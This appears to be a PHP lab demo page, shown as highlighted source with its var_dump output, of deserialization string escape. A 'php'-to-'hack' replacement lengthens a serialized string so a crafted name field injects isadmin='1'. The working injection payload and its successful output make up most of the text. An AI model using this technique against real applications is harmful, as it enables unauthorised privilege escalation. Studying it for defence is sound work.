object(a)#1 (3) {
  ["name"]=>
  string(196) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
  ["number"]=>
  string(4) "1234"
  ["isadmin"]=>
  string(1) "1"
}
<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php
<br /></span><span style="color: #FF8000">//&nbsp;目标将isadmin改为'1'
<br />//&nbsp;吐出单个字符
<br />//&nbsp;class&nbsp;a{
<br />//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$name='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:6:"number";s:4:"1234";s:7:"isadmin";s:1:"1";}';
<br />//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$number='1234';
<br />//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;$isadmin='0';
<br />//&nbsp;}
<br />//&nbsp;$data=serialize(new&nbsp;a());
<br />//&nbsp;$data=str_replace("php","hack",$data);
<br />//&nbsp;var_dump(unserialize($data));
<br />
<br />//&nbsp;吐出多个字符
<br /></span><span style="color: #007700">class&nbsp;</span><span style="color: #0000BB">a</span><span style="color: #007700">{
<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$name</span><span style="color: #007700">=</span><span style="color: #DD0000">'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:6:"number";s:4:"1234";s:7:"isadmin";s:1:"1";}'</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$number</span><span style="color: #007700">=</span><span style="color: #DD0000">'1234'</span><span style="color: #007700">;
<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">$isadmin</span><span style="color: #007700">=</span><span style="color: #DD0000">'0'</span><span style="color: #007700">;
<br />}
<br /></span><span style="color: #0000BB">$data</span><span style="color: #007700">=</span><span style="color: #0000BB">serialize</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">a</span><span style="color: #007700">());
<br /></span><span style="color: #0000BB">$data</span><span style="color: #007700">=</span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"php"</span><span style="color: #007700">,</span><span style="color: #DD0000">"hack"</span><span style="color: #007700">,</span><span style="color: #0000BB">$data</span><span style="color: #007700">);
<br /></span><span style="color: #0000BB">var_dump</span><span style="color: #007700">(</span><span style="color: #0000BB">unserialize</span><span style="color: #007700">(</span><span style="color: #0000BB">$data</span><span style="color: #007700">));
<br />
<br /></span><span style="color: #FF8000">//&nbsp;echo&nbsp;strlen('";s:6:"number";s:4:"1234";s:7:"isadmin";s:1:"1";}');
<br />//&nbsp;$a='';
<br />//&nbsp;for($i=1;$i&lt;=49;$i++){
<br />//&nbsp;&nbsp;$a=$a.'php';
<br />//&nbsp;}
<br />//&nbsp;echo&nbsp;$a;
<br /></span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code>